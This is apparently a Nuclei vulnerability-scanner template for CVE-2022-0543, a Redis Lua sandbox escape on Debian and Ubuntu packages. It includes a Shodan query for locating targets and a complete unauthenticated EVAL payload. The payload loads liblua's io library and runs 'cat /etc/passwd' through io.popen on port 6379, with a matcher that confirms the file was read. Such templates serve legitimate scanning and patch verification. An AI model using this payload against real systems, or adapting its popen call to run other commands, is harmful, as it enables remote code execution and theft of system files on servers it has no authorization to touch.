id: CVE-2022-0543

info:
  name: Redis Sandbox Escape RCE
  author: dwisiswant0
  severity: critical
  reference:
    - https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
    - https://attackerkb.com/topics/wyA1c1HIC8/cve-2022-0543/rapid7-analysis#rapid7-analysis
  description: |
    This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
    vulnerability was introduced by Debian and Ubuntu Redis packages that
    insufficiently sanitized the Lua environment. The maintainers failed to
    disable the package interface, allowing attackers to load arbitrary libraries.

    Taken from rapid7/metasploit-framework#16504.
  metadata:
    shodan-query: "redis_version"
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.00
    cve-id: CVE-2022-0543
  tags: cve,cve2022,network,redis,unauth,rce

network:
  - inputs:
      - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"

    host:
      - "{{Hostname}}"
      - "{{Host}}:6379"
    read-size: 64

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"